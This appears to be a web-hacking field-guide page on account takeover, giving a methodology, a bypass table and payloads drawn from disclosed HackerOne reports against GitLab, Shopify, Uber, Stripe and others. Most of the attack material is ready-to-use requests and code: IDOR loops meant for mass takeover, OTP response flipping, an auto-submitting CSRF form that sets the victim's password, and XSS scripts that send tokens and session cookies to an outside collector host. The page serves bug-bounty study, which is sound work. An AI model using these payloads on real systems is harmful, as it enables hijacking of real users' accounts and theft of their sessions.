⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Attack surface/Account Takeover Chains
Attack surface

Account Takeover Chains

Β§Basic information

Account takeover (ATO) is not a bug class β€” it is the end-state: the point where a lower-level flaw lands you inside another user's session or hands you their credentials. An IDOR, an XSS, a host-header injection, a broken change-email flow, a client-trusted OTP β€” any of them becomes critical the moment it converges on a live victim session. Programs pay top bounty for that convergence, so ATO is the impact multiplier you should always be steering a primitive toward.

Every route reduces to one question the server keeps getting wrong: does this identity-mutating action bind to my session, or to a value I control? Reset tokens bound to a URL id instead of their subject, change-email confirmations routed to the old mailbox, "verified" flags set on a secondary endpoint the primary UI's checks never see, tokens that ride a #-fragment to attacker JS β€” all the same failure. Learn to fingerprint identity flows with a two-account differential and the routes below fall out mechanically.

Β§Methodology

Run every flow with two accounts: attacker A, victim V. The tell is always whose value decides the outcome.

  1. Enumerate every identity-mutating flow β€” change-email, change-password, password-reset, invite/redeem, magic-link, OTP/2FA enroll+verify, SSO link-on-first-login, profile/mass-assign POSTs. Note all paths to each field: primary UI, mobile, GraphQL proxy, raw IdP API.
  2. Change-email routing β€” change A's email to V's address; watch which mailbox the confirmation link hits and whether the link's token works for any address.
  3. Token binding β€” mint a token for A, redeem it with a swapped id/email/username pointing at V. If it applies to V, the token isn't bound to its subject.
  4. IDOR probe β€” hit any user-scoped read that precedes an action (?id=<V>); if it leaks V's email/PII, submit the follow-up action (update-permissions, redeem) and see if you land in V's session.
  5. OTP integrity β€” submit a wrong code, intercept the verify response, flip the success flag; if server state changes, the outcome was decided client-side.
  6. Confirm ATO, then check scale β€” is the id sequential/guessable? If so the read+action loop is scriptable into mass ATO.
# Canary differential β€” send V's address into A's change-email flow: POST /settings/email HTTP/1.1 Host: TARGET email=VICTIM@target.tld # tell 1: confirmation lands in the ATTACKER inbox -> old-address routing (#791775) # tell 2: the link's token verifies ANY address -> unbound token (#244636 #910300)

Β§Takeover routes

Pick the route by which primitive you already hold; each ends in a live victim session.

Change-email & confirmation-routing flaws

The single richest surface. The verification is defeated if the confirmation link reaches an inbox you control, or if the token isn't bound to the exact new address. Change your email to the victim's, then catch or forge the confirmation.

# Confirmation link mailed to the OLD (attacker) address -> attacker confirms victim's email (#791775) POST /account/email HTTP/1.1 Host: TARGET email=VICTIM@target.tld # link arrives at ATTACKER@evil.tld (the current address) -> click while logged in -> confirmed
# Desync "shown" vs "confirmed" with an intercepting proxy (#910300) # Burp > Proxy > Match and Replace (Request body): # Match: attacker@wearehackerone.com # Replace: victim@wearehackerone.com # toggle ON at the change-email step, OFF before clicking the real confirmation link

Unbound reset / verify / invite tokens

The classic. Mint a token you're entitled to, then redeem it against the victim by swapping a client-supplied id/email/username. If the token doesn't resolve its own subject, you own arbitrary accounts.

# Invite token not bound to the invited email -> redeem with ?email=VICTIM (#242765) POST /invites/link HTTP/1.1 Host: TARGET X-CSRF-Token: <valid> email=anything@x.com # -> returns https://TARGET/invites/{token} (do NOT click) GET /invites/redeem/{token}?email=VICTIM@target.tld HTTP/1.1 Host: TARGET # -> authenticated session as VICTIM
# Reset token validated against the URL id, not the token's subject (#1685970 #566811) POST /reset HTTP/1.1 Host: TARGET Content-Type: application/json {"token":"<A_TOKEN>","account":"<V_ID>"} # reset applies to V despite being minted for A

IDOR on identity fields

A state-changing POST keyed on a guessable id lets you edit another user's record β€” add an email/recovery_email param it doesn't normally expect. A leaky user-read that precedes an auth action escalates to zero-click ATO. Sequential ids make it mass.

# Overwrite the victim's email on an account-update endpoint, then reset -> login (#1685970) POST /accounts/<V_ACCOUNT_NUMBER> HTTP/1.1 Host: app.TARGET Content-Type: application/x-www-form-urlencoded user[email]=attacker@evil.tld # increment ACCOUNT_NUMBER in a loop -> mass ATO
# Leaky read + follow-up action = zero-click ATO (#915114) GET /users/invite-user.php?id=<V_ID>&popup=1 HTTP/1.1 Host: app.TARGET # response returns V's email; submit the "Update Permissions" action -> logged in as V # ids run 00010006 .. 19920500+ -> scriptable

OTP / 2FA / phone-verify

Verification that the client can influence is no verification. Flip a client-trusted response, exploit a shared pre-auth token, or IDOR the 2FA enrollment onto the victim.

# Client-trusted OTP outcome β€” flip the flag (#2762462 #3228888) POST /otp/verify HTTP/1.1 Host: TARGET msisdn=VICTIM&otp=000000 # intercept the response, rewrite to: # {"status":200,"message":"success","msisdn":"VICTIM","success":true} # client treats verification as passed -> number/account linked
# IDOR 2FA-enroll on the victim id + credential-less verify (#810880) POST /api/2fa {"id":"<V_ID>"} # binds ATTACKER's secret to V POST /api/2fa/verify {"id":"<V_ID>","code":"<valid_totp>"} # no session token -> logged in as V
# Shared pre-auth token: victim's own OTP validates the attacker's copy (#1245762) POST /SessionCreate {"phone":"<VICTIM_MSISDN>"} # returns token T (SAME for every caller) # poll until the victim enters their SMS code: GET /Me # with T -> 200 = live victim session

SSO / account-merge & pre-ATO

"Link SSO on first login" is takeover-able if you can set an unlinked account's email to one you control in the trusted domain β€” or register the victim's email unverified before they ever use social login.

# Set an unlinked staff/owner email to your address in the SSO domain, then log in via SSO (#892904 #3178999) POST /graphql-proxy/admin HTTP/1.1 Host: pos-channel.TARGET # operation: StaffMemberUpdate -> variables.email = attacker@<victim-google-apps-domain> # then "Sign in with Google" using that email -> you land in the victim's account, now linked to you
# OAuth pre-ATO: pre-register the victim's email unverified; merge happens on their first social login (#1074047) POST /signup HTTP/1.1 Host: TARGET email=VICTIM@target.tld&password=attacker_pw # left unverified # victim later "Sign in with Google" (same email) -> merges into attacker's account # attacker still holds the signup password

Talk to the raw backend

UI restrictions are frequently client-side only. When an app fronts a managed IdP (Cognito/Firebase/Auth0) or exposes read-only form fields, hit the real backend directly.

# App blocks email change in its UI only β€” drive the Cognito API with the account token (#1342088) aws cognito-idp update-user-attributes --region us-east-1 \ --access-token <ATTACKER_TOKEN> \ --user-attributes Name=email,Value=Victim@TARGET.tld # email now == victim (differs only by case: Victim vs victim), email_verified=false # app never checks email_verified at login and normalizes case -> log in as victim
// Read-only fields are client-side only β€” override the underlying JS data object (#867513) window.RailsData.current_organization.business_email = "attacker@ex.com"; window.RailsData.user.email = "attacker@ex.com"; // then replay the captured identity-save request with email=VICTIM -> "verified" identity, no re-verify

Token-leak sinks

When the victim is authenticated, any script-running context in a trusted origin exfiltrates their token or session β€” even past HttpOnly. Hunt allowlisted redirects, reflected sinks on sibling subdomains, and mobile bridges that attach auth headers.

# Allowlisted-redirect XSS on a trusted sibling exfiltrates the auth token (#3081691) GET /login/?redirectUrl=https%3A%2F%2Fmarketing.TARGET%2F...%3Fredirect_url%3Dx%22%3E%3C%2Fa%3E%3Cscript%3Efetch(%27https%3A%2F%2FCOLLAB%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Awindow.location%7D)%3C%2Fscript%3E HTTP/1.1 Host: auth.TARGET # victim is authenticated when redirected -> leaked token -> mint JWT -> full panel
// Cookie-write endpoint + reflected XSS reads the HttpOnly session cookie same-origin (#534450) // 1. use a *.TARGET cookie-setter endpoint to plant a cookie whose value is a </noscript><script> payload // 2. victim visits a page that reflects that cookie unescaped -> XSS runs same-origin // 3. injected JS reads the HttpOnly session via the same cookie endpoint: fetch('https://sub.TARGET/cookies?name=SESSION', {credentials:'include'}) .then(r => r.text()) .then(d => navigator.sendBeacon('https://COLLAB/', d));
# Host-header injection poisons the OAuth redirect -> oauth_token lands on the attacker (#317476) GET /i/twitter/login?csrf=... HTTP/1.1 Host: attacker.com/www.periscope.tv # meta-refresh builds the callback from Host -> victim's oauth_token delivered to attacker.com
● NOTE
URL fragments survive 302/307 redirects and leak to whatever final origin runs script. A permissive SSO referrer/redirect param + a stored SVG-XSS sink + a token that never expires composes into full SSO-ticket theft (#265943): ...sso?referrer=https://trusted/x.svg?%23 β†’ the ticket rides # through the redirect into the SVG's JS.

CSRF on account actions

If a state-changing account action has no anti-CSRF, you set the victim's email/password/security-answer from an attacker page. Content-type is not a control.

<!-- Single-request profile CSRF sets the password -> ATO (#670924, canonical chain #6910) --> <form action="https://TARGET/account/update" method="POST"> <input name="email" value="attacker@evil.tld"> <input name="password" value="attacker_pw"> </form> <script>document.forms[0].submit()</script> <!-- if the endpoint only accepts JSON, resend as form-urlencoded to dodge the CSRF check (#1624421) -->
β–² WARNING
An IDOR or XSS that only reads is a medium until you find the follow-up action that mutates auth state. Always test the write/redeem/permission step that comes after the leaky read β€” that step is what turns disclosure into takeover (#915114, #1685970).

Β§Bypasses

Filter / controlBypassSeen in
Email-change confirmationlink mailed to the old address β€” attacker receives it#791775
Verify-token bindingconfirmation token not bound to the address β†’ verify arbitrary email#244636
Reset-token bindingtoken validated against URL-supplied id/username, not its subject#1685970, #566811
Read-only form fieldfield is client-side only β€” override window.RailsData / JS data object#867513
Match-and-replace desyncBurp swaps attacker↔victim email mid-flow so "shown" β‰  "confirmed"#910300
UI-only email locktalk to the raw Cognito API directly; app never checks email_verified#1342088
Case-normalization collisionunverified email differing only by case collides with the victim's#1342088
SCIM username/email splitkeep username fixed, change email β†’ dodges "user exists" + notice#3178999
Substring internal-URL check/verify? treated internal, proceed_to redirect unchecked β†’ JWT leak#1372667
Host-header suffix trickHost: attacker.com/legit.host keeps the path valid, moves the origin#317476
OTP response integrityno signature — flip success:false→true / status:400→200#2762462, #3228888
Credential-less 2FA verifyverify carries only id+code, no session token#810880
JSON β†’ form CSRFresend the email-change as form-urlencoded to bypass the CSRF check#1624421
Fragment retention#-fragment token survives 302/307 to a script-running origin#265943
Invite-token email swaptoken not bound to invited email β†’ redeem with ?email=VICTIM#242765

Β§Escalation & impact

ATO is usually the terminal node β€” the thing every other chain drives toward. The generalizable escalations:

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 101 in this class.

Real-world example

Password reset to attacker via email-array parameter pollution

β—† Critical
Specimen #2293343 Β· gitlab Β· 35000 Β· 946 votes Β· resolved
Program gitlabSurface webTag account-takeover

Root cause

The password-reset endpoint accepts the email as a JSON array; the app sends the reset link to every address in the array while still resolving the account by the first (victim) address.

Method

  1. Submit 'Forgot Password' for the victim, intercept the request
  2. Convert the form body to JSON
  3. Replace the single email with an array containing victim and attacker addresses
  4. Forward; the reset link arrives in the attacker inbox too
  5. Use the link to set a new password and log in as victim
{ "user": { "email": [ "victim@gmail.com", "attacker@gmail.com" ] } }

Insight β€” Whenever a recipient is derived from user input, try turning the scalar into an array (or add a duplicate param) β€” the app often loops the array for delivery but keys the account off element[0]. Test JSON arrays, duplicated form keys, and comma-joined values.

Real-world example

Login-as-any-user via client-supplied user_id in OTP logout

β—† Critical
Specimen #921780 Β· snapchat Β· awarded Β· 968 votes Β· resolved
Program snapchatSurface apiTag account-takeover

Root cause

The /scauth/otp/droid/logout endpoint trusts the user_id in the request body instead of the authenticated session, and returns a valid one-tap-login (OTP) token for whatever user_id is supplied. That token then authenticates /scauth/otp/login.

Method

  1. Log in normally to attacker account
  2. Call the OTP logout endpoint but replace user_id in the JSON body with the victim's user_id (obtainable via friends API)
  3. Server returns a SUCCESS with an OTP token bound to the victim
  4. Call /scauth/otp/login with the victim username + that token to obtain victim access/refresh tokens
POST /scauth/otp/droid/logout HTTP/1.1 Host: gcp.api.snapchat.com Content-Type: application/json; charset=utf-8 {"user_id":"<VICTIM_USER_ID>","device_id":"<ATTACKER_DEVICE>","device_name":"x"} -> response: {"status":"SUCCESS","user_id":"<VICTIM_USER_ID>","token":"<OTP_TOKEN>"} Then: POST /scauth/otp/login (username=<VICTIM>&token=<OTP_TOKEN>&...)

Insight β€” Whenever a logout/token/refresh endpoint accepts an identity parameter (user_id, uid, account_id) in the body, test swapping it for a victim's id. Auth material minted from an attacker-authenticated call but keyed on an attacker-controlled identity is a classic full-ATO primitive.

Real-world example

ATO via direct AWS Cognito API + unverified-email login + email normalization

β—† Critical
Specimen #1342088 Β· flickr Β· awarded Β· 437 votes Β· resolved
Program flickrSurface cloudChain Cognito email change -> unverified email accepted at logiTag cloud-awsTag account-takeover

Root cause

Flickr uses Cognito but blocks email change only in its own UI. Talking directly to the Cognito User Pool API with the account access_token lets you change the email; the app then (1) never checks email_verified on login and (2) normalizes case, so an attacker-set unverified email collides with the victim's.

Method

  1. Intercept the login to cognito-idp.<region>.amazonaws.com to grab AccessToken (USER_PASSWORD_AUTH)
  2. Use aws cognito-idp update-user-attributes to set email to the victim's address (differing only by case, now email_verified=false)
  3. Log in to the app using the exact-case victim email + attacker password; app trusts it despite unverified
aws cognito-idp get-user --region us-east-1 --access-token <ATTACKER_TOKEN> aws cognito-idp update-user-attributes --region us-east-1 \ --access-token <ATTACKER_TOKEN> \ --user-attributes Name=email,Value=flickr-Benign@victim.tld # email now = victim (different case), email_verified=false # login with that email + attacker password succeeds

Insight β€” When an app fronts Cognito/Firebase/Auth0, test the raw IdP API directly - UI-only restrictions (email change, verification) are often not enforced server-side. Always test: does login check email_verified? Are emails compared case/normalization-insensitively, enabling collisions?

Real-world example

Email-verification bypass on legacy accounts via Burp match/replace

β—† Critical
Specimen #910300 Β· shopify Β· awarded Β· 559 votes Β· resolved
Program shopifySurface webChain email-verification bypass -> SSO identity bind -> fullTag account-takeover

Root cause

Email ownership for legacy accounts was inferred from client-controllable state instead of a per-change confirmation token; by toggling the outgoing/rendered email between attacker and victim with an intercepting proxy, the app confirmed the victim address and merged it into an SSO identity the attacker controlled.

Method

  1. Create a store via Partners; leave email unverified.
  2. On account settings change email to the victim's address, but use Burp Match & Replace to rewrite your email <-> victim email so the app state and the confirmation flow disagree.
  3. Trigger actions (upload photo/save, refresh) that persist the victim email while a real confirmation link is sent to an address you own.
  4. Click the confirmation link while logged in, then 'Review accounts' -> 'Set up Shopify ID' to bind the confirmed victim email to your SSO identity and take over the store.
Burp -> Proxy -> Options -> Match and Replace: Type: Request body Match: your_email@wearehackerone.com Replace: victim_email@wearehackerone.com (toggle on/off between the change-email step and the confirmation-link click)

Insight β€” When email verification depends on multi-step client state rather than a fresh server-side token bound to the exact address, an interception/match-replace toggle can desync 'address shown' from 'address confirmed'. Test any change-email + confirm flow by swapping the value mid-flow.

Real-world example

POS graphql-proxy staff email update bypasses email verification

β—† Critical
Specimen #867513 Β· shopify Β· awarded Β· 2993 votes Β· resolved
Program shopifySurface apiChain email-verify bypass -> verified Shopify ID -> SSO accoTag graphqlTag account-takeover

Root cause

A secondary GraphQL endpoint (pos-channel graphql-proxy) let a staff member set their email with no confirmation; combined with partner-dashboard dev-store creation this produced a 'verified' account for an email the attacker never proved ownership of, enabling Shopify-ID account merge/takeover.

Method

  1. Create a development store via partners.shopify.com
  2. Override the read-only shop/business email in the browser via window.RailsData before submit, to an attacker-owned non-Shopify email, and confirm it
  3. Add POS sales channel, open POS > Staff, capture the staff-save cURL
  4. Replay the staff-save request with the victim's email in the email field
  5. Refresh profile -> prompted to merge/create a Shopify ID with the now 'verified' victim email, no re-verification
window.RailsData.current_organization.business_email = "attacker@ex.com"; window.RailsData.user.email = "attacker@ex.com"; # then replay POS staff-save cURL with email=victim@target.com

Insight β€” Look for secondary/mobile/proxy GraphQL or REST endpoints that mutate identity fields (email, phone) without the confirmation the primary UI enforces; a 'verified' flag set on one path is trusted everywhere.

Real-world example

Email change confirmation link mailed to OLD address confirms arbitrary email

β—† Critical
Specimen #791775 Β· shopify Β· awarded Β· 1913 votes Β· resolved
Program shopifySurface webChain email-verify bypass -> SSO account merge -> master pasTag account-takeover

Root cause

The email-change flow sent the confirmation link for the NEW address to the account's CURRENT (old) address; an attacker changes their email to a victim's address and receives the confirmation link themselves, verifying an address they do not own, then leverages SSO account merge to set a master password across all stores under that email.

Method

  1. Sign up a free Shopify trial with attacker@ex.com
  2. In Your Profile change email to victim@target.com and save
  3. Confirmation email arrives at attacker@ex.com (the old address)
  4. Click it -> victim@target.com is now confirmed on the attacker's account
  5. Use the SSO 'integrate accounts' prompt to set a master password over the victim's stores
POST profile email change: email=victim@target.com (confirmation link is delivered to attacker@ex.com)

Insight β€” Always test WHICH mailbox receives an email-change confirmation link; if it goes to the old/current address the whole verification is defeated. Then chain to SSO/account-merge for full ATO.

Real-world example

Set any user's password via unauthenticated passwordless-signup state machine

β—† Critical
Specimen #143717 Β· uber Β· awarded Β· 310 votes Β· resolved
Program uberSurface apiTag account-takeover

Root cause

The /rt/users/passwordless-signup endpoint accepts a phone number plus state=CREATE_NEW_PASSWORD and newPasswordData, and sets that password for the existing account with no ownership proof - the signup state machine can be driven directly to the reset state.

Method

  1. Create a rider account to learn the request shape
  2. Replay the passwordless-signup request with the victim's phoneNumberE164 and a chosen newPassword
  3. Repeat if needed until 'New password has been created'
  4. Log in as victim with the new password
POST /rt/users/passwordless-signup HTTP/1.1 Host: cn-geo1.uber.com Content-Type: application/json {"phoneNumberE164":"+<VICTIM>","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}

Insight β€” State-machine auth endpoints (workflow/state/nextState params) often let you jump straight to a privileged state (CREATE_NEW_PASSWORD) without completing prior steps. Fuzz the state/workflow enum values against an existing victim identifier.

Real-world example

0-click ATO by swapping client-supplied JWT/session in password reset

β—† Critical
Specimen #2831902 Β· remitly Β· awarded Β· 279 votes Β· resolved
Program remitlySurface apiTag account-takeoverTag jwt

Root cause

The password_reset/start endpoint returns/relies on a client-held JWT + AMP session identifying the account being reset; replacing the attacker's JWT/session values with the victim's lets the attacker-initiated reset (with attacker's own OTP) apply to the victim.

Method

  1. Start password reset for both attacker and victim
  2. Capture the /orchestrator/v1/password_reset/start response that contains a JWT (identify with the JWT Burp plugin)
  3. Complete the attacker's own OTP step
  4. Before finalizing, replace the attacker's AMP session + JWT with the victim's captured values
  5. Submit -> victim's password is reset
# swap in the reset request body/headers: AMP_d0cf3ed24c=<VICTIM_AMP> JWT=<VICTIM_JWT_from_password_reset_start>

Insight β€” When a reset/OTP flow trusts a client-supplied token to say WHOSE account is being changed, try completing the flow with your own OTP but the victim's identity token. Identify the account-binding token (JWT/opaque session) and swap only that field.

Real-world example

Mass ATO via IDOR email-change + reset token not bound to user

β—† Critical
Specimen #1685970 Β· stripe Β· awarded Β· 210 votes Β· resolved
Program stripeSurface webChain IDOR email overwrite / unbound reset token -> ATO -> sTag account-takeover

Root cause

TaxJar's accountant-access flow trusted the account number in POST /accounts/<ACCOUNT_NUMBER> and let you add a userEmail param to change that account's email; separately the password-reset token was validated against the URL-supplied account ID rather than the token's own user - both enabling automated takeover of arbitrary accounts.

Method

  1. Authenticate as any user
  2. POST to /accounts/<victim_account_number> including your email in the payload to overwrite the victim's email
  3. Loop account numbers to hit many accounts (mass ATO)
  4. Alternatively, drive password reset supplying a mismatched account ID that the token check ignores
POST /accounts/<ACCOUNT_NUMBER> HTTP/1.1 Host: app.taxjar.com Content-Type: application/x-www-form-urlencoded ... user[email]=attacker@evil.tld ... # increment ACCOUNT_NUMBER in a loop -> mass ATO

Insight β€” Two recurring IDOR patterns: (1) a state-changing POST keyed on a guessable/sequential account id lets you edit others' records (add an email param to hijack), and (2) a reset/verify token validated against a client-supplied id instead of the token's bound subject. Always test whether the token, not the URL id, determines the target user.

Real-world example

IDOR on user-edit endpoint escalating to zero-click account takeover

β—† Critical
Specimen #915114 Β· automattic Β· awarded Β· 202 votes Β· resolved
Program automatticSurface webChain IDOR read (email) -> Update Permissions action -> fullTag account-takeover

Root cause

invite-user.php?id=<userid> resolves any sequential user id with no ownership check, returns the victim's email, and the follow-up 'Update Permissions' action authenticates the attacker into that account.

Method

  1. Log into a team account
  2. GET /users/invite-user.php?id=<victim_id>&popup=1 - response shows victim email
  3. Iterate id over the sequential range (00010006 - 19920500+)
  4. Click/submit 'Update Permissions' to be logged into the victim's account
GET /users/invite-user.php?id=19920465&popup=1 HTTP/1.1 Host: app.crowdsignal.com

Insight β€” An IDOR that both leaks PII and drives an auth/permission action escalates to ATO. Sequential user ids make it mass-exploitable. Always test the action that follows the leaky read.

Real-world example

Email-verification bypass via mutable EmailAddress on user-provision endpoint

β—† Critical
Specimen #2718253 Β· insightly Β· awarded Β· 144 votes Β· resolved
Program insightlySurface webTag account-takeover

Root cause

The signup/provisionuser endpoint trusts the client-supplied EmailAddress and provisions/verifies the account without re-verifying ownership, letting an attacker create/verify an account under an arbitrary or existing user's email.

Method

  1. Start signup at accounts.insightly.com/signup with your own email
  2. Intercept the request to /signup/provisionuser
  3. Change EmailAddress to the victim's email
  4. Submit - account is created/associated to that email without any verification, redirecting into the account
POST /signup/provisionuser ... {"EmailAddress":"victim@target.com", ...}

Insight β€” On multi-step signup, look for a final 'provision/create user' call where the email is re-sent as a parameter; swapping it to a target address often skips verification and pre-registers/takes over the account.

Real-world example

OTP delivery-target injection via pipe-delimited alternate-number field

β—† Critical
Specimen #2542372 Β· mtn_group Β· none Β· 122 votes Β· resolved
Program mtn_groupSurface webChain OTP recipient injection -> receive victim OTP -> full Tag account-takeover

Root cause

The self-service login accepted an 'alternate number' in the msisdn field; supplying the victim's primary number together with an attacker-controlled number (pipe-separated) caused the OTP for the victim's account to be sent to the attacker's number, granting full account takeover.

Method

  1. Start login/OTP flow for the victim's primary MSISDN
  2. Inject an attacker-controlled number as the alternate via the msisdn field
  3. OTP is delivered to the attacker's number
  4. Complete login to the victim's account
{"msisdn":"<VICTIM_PRIMARY>|<ATTACKER_NUMBER>"} // OTP sent to ATTACKER_NUMBER

Insight β€” Wherever an OTP/reset code destination is derived from user input (alternate email/phone, arrays, delimiter-joined values), test injecting a second attacker-controlled recipient. Delimiters (| , ; space) often split into multiple send targets.

Real-world example

OTP verification response manipulation (success:false -> true)

β—† Critical
Specimen #2762462 Β· mtn_group Β· none Β· 96 votes Β· resolved
Program mtn_groupSurface webChain OTP bypass -> add+verify attacker number OR verify victimTag account-takeover

Root cause

OTP verification result is decided client-side from the server response body; with no integrity check, flipping success/status in the response links an attacker-controlled phone number to the victim (or verifies the victim's number for the attacker).

Method

  1. Start login/registration, enter victim MSISDN, request OTP
  2. Submit a wrong OTP and intercept the verify response
  3. Rewrite response body success:false->true / status:400->200
  4. Client treats verification as passed; number/account is linked -> ATO
POST /mtn_otp/index/verification/ HTTP/2 ajax=1&action=verifyotp&msisdn=VICTIM&otp=000000 --- flip response to: --- {"status":200,"message":"success","msisdn":"VICTIM","success":true}

Insight β€” Any OTP/phone-verify flow: try a wrong code, intercept the response, flip the success flag. If server state changes based on the client believing verification passed, you bypass SMS/2FA entirely without owning the number.

Real-world example

Account takeover via invite-redeem endpoint trusting email param

β—† Critical
Specimen #242765 Β· discourse Β· $1024 Β· 75 votes Β· resolved
Program discourseSurface webChain Mint invite token -> redeem with ?email=victim -> fullTag account-takeover

Root cause

Discourse's invite-link creation returns a token, and the redeem endpoint logs a user into the account matching an attacker-supplied ?email= without verifying the token was bound to that email, so any user with invite capability can log into arbitrary accounts.

Method

  1. As a user with invite capability (trust level >=2), POST /invites/link with a valid CSRF token to mint an invite token (don't click the returned link)
  2. Open /invites/redeem/<token>?email=victim@example.com in an incognito session
  3. You are logged in as the victim account
POST /invites/link (X-CSRF-Token: <valid>, body: email=anything@x.com) // -> returns http://host/invites/{token} GET /invites/redeem/{token}?email=victim@example.com // -> authenticated session as victim@example.com

Insight β€” On invite/redeem, magic-link, and email-verification flows, test whether the email/identity is taken from a request parameter instead of being cryptographically bound to the token. If you can mint a token and redeem it against an arbitrary email, it's account takeover. Decouple token from the email param and swap it.

Real-world example

User-info API leaks password-reset hash -> account takeover

β—† Critical
Specimen #842625 Β· rocket_chat Β· none Β· 65 votes Β· resolved
Program rocket_chatSurface apiChain users.info IDOR field over-exposure -> leaked reset hash Tag account-takeover

Root cause

A low-privilege authenticated user can query users.info by userId and the response includes sensitive security fields including the password-reset token/hash, which can be replayed against the reset endpoint to set a new password for any user.

Method

  1. Login as a normal (e.g. LDAP) user
  2. GET /api/v1/users.list and copy a victim's _id
  3. GET /api/v1/users.info?userId=<victim_id> and read the reset hash from the response
  4. Visit /reset-password/<reset_hash> and set a new password
  5. Login as the victim
GET /api/v1/users.info?userId=<VICTIM_ID> HTTP/1.1 # response leaks reset token; then: GET /reset-password/<RESET_HASH>

Insight β€” Over-exposed user/admin API objects (users.info, /me, admin serializers) frequently include reset tokens, MFA secrets, or session data. Enumerate every field an object endpoint returns for another user; a single leaked reset token is a full ATO primitive.

Real-world example

Cross-domain session reuse between sibling sites sharing a session store

β—† Critical
Specimen #876300 Β· starbucks Β· awarded Β· 259 votes Β· resolved
Program starbucksSurface webChain Weak sibling site session -> reuse PHPSESSID on card siteTag account-takeover

Root cause

An alternate Starbucks site shared the same database and session cookies with card.starbucks.com.sg; a PHPSESSID minted on the weaker site was valid on the sensitive site, enabling info view, password change and ATO.

Method

  1. Obtain a PHPSESSID via an endpoint on the alternate/sibling site
  2. Set that PHPSESSID on card.starbucks.com.sg
  3. Access victim info, change password, take over the account

Insight β€” Enumerate sibling domains that share a backend/session store. A session or cookie issued by a low-value related site may authenticate on a high-value one. Limited disclosure; mechanism per program summary.

Real-world example

IDOR escalated via parameter stripping to leak API client_id/secret

β—† Critical
Specimen #1695454 Β· automattic Β· awarded Β· 58 votes Β· resolved
Program automatticSurface webChain application[id] IDOR -> param strip -> validation erroTag oauthTag account-takeover

Root cause

An API-application update endpoint trusts application[id] from the body (IDOR); sending only application[id] + authenticity_token triggers a validation error whose response page renders the target application's Client ID and Client Secret.

Method

  1. Create an API application and capture the update POST to /api/applications
  2. Set application[id] to the victim's (sequential) application ID
  3. Remove all other params except application[id] and authenticity_token
  4. Send; the 'Name must be provided' error page renders the victim app's Client ID and Client Secret
  5. Use those credentials against the API (e.g. collaborator bulk-create) for account takeover
POST /api/applications HTTP/1.1 Content-Type: application/x-www-form-urlencoded application%5Bid%5D=<VICTIM_APP_ID>&authenticity_token=<yours>

Insight β€” When a plain IDOR looks low-impact, force error/validation paths (strip required fields, send empty/invalid values) - error pages frequently re-render the loaded object including secret fields. Sequential app IDs make it mass-exploitable; leaked OAuth client_id/secret is an ATO primitive.

Real-world example

Email-change IDOR on sequential id -> password reset -> ATO

β—† Critical
Specimen #950881 Β· automattic Β· awarded Β· 50 votes Β· resolved
Program automatticSurface webChain email-change IDOR (id param) -> set victim email to attacTag account-takeover

Root cause

The change-email request carries an id parameter identifying whose email to change; it is not bound to the session, so an attacker sets any (sequential) user's email to one they control and then triggers a password reset to take over the account.

Method

  1. Login and open the account settings email-change form
  2. Change your email and intercept the save request
  3. Replace the id parameter with the victim's (sequential) user ID
  4. Forward to set the victim's email to an attacker address
  5. Use forgot-password to reset and take over the victim account
POST /cms/reader/account (change-email) ...&id=<VICTIM_SEQUENTIAL_ID>&email=attacker@evil.com

Insight β€” Email/phone-change endpoints that accept a user id in the body are the highest-value IDORs: overwrite the recovery address, then reset. Always test the id param on any profile-mutation request and confirm IDs are sequential for mass exploitation.

Real-world example

Profile-update IDOR (id+username) chained to password-reset ATO

β—† Critical
Specimen #1272478 Β· mtn_group Β· none Β· 34 votes Β· resolved
Program mtn_groupSurface webChain profile-update IDOR (id+username) -> password reset ->Tag account-takeover

Root cause

The profile-update endpoint trusts a client id and lets you rewrite another user's account (its username/email is the login), so you point their login at your address and reset the password.

Method

  1. Create attacker + victim accounts; capture attacker's profile-update request
  2. Set id to the victim's id and change the username (login) field, leaving email as attacker's
  3. Submit - victim account now bound to attacker-controlled login
  4. Run password reset, log in: full ATO with no victim interaction
Profile-update POST: change /Id to victim id and 'username' param to attacker-controlled value, then trigger reset

Insight β€” An IDOR that lets you edit the field used as the login identity (username/email) is a zero-interaction ATO - chain write-IDOR -> password reset.

Real-world example

Social login accepts unverified user id (fbid)

β—† Critical
Specimen #202921 Β· eternal Β· none Β· 32 votes Β· resolved
Program eternalSurface mobile-iosTag oauthTag account-takeover

Root cause

The Login-with-Facebook endpoint authenticated the user by the client-supplied fbid without verifying that the accompanying fb_token actually belonged to that Facebook id, so swapping fbid logged the attacker into any account.

Method

  1. Capture the app's /v2/auth.json Facebook login request
  2. Replace the fbid parameter with the victim's Facebook id
  3. Send the request and receive a session for the victim's account
  4. (Enumerate victim fbids via your own Facebook friends/graph)
POST /v2/auth.json?...&isFacebook=true access_token=&client_id=..._ios_v2&fb_token=<attacker>&fbid=<VICTIM_FB_ID>

Insight β€” Server must verify the OAuth/social token server-side and derive identity from the token, never trust a separately-supplied user id. Test by keeping your token but swapping the id field.

Real-world example

Profile-update id/email swap -> account takeover (no old-password check)

β—† Critical
Specimen #969223 Β· deptofdefense Β· none Β· 29 votes Β· resolved
Program deptofdefenseSurface webChain IDOR (id swap) -> email change without re-auth -> forgTag account-takeover

Root cause

The profile-update POST trusts a client-supplied user id and lets you change the email without re-entering the old password; setting id to the victim and email to attacker-controlled rewrites the victim's email, then forgot-password completes full takeover.

Method

  1. Register + login as attacker, open the account/update page
  2. Intercept the profile-update POST and change the id parameter to the victim's id
  3. Set email to an attacker-controlled address; send -> victim's email is replaced
  4. Use forgot-password on the victim account to receive reset at the attacker email -> ATO (or victim is simply locked out)
POST /profile/update HTTP/1.1 Host: TARGET Cookie: <attacker session> ...&id=VICTIM_ID&email=attacker@evil.com&...

Insight β€” On any 'update profile / change email' endpoint test: (1) is a client id/user_id field honored for the target row? (2) is the old password required for an email change? A 'no' to both is a direct ATO. Lower id values (id=1) often hit the admin.

Real-world example

Password reset with only a username (no token/verification) on F5 APM flow

β—† Critical
Specimen #566811 Β· deptofdefense Β· none Β· 26 votes Β· resolved
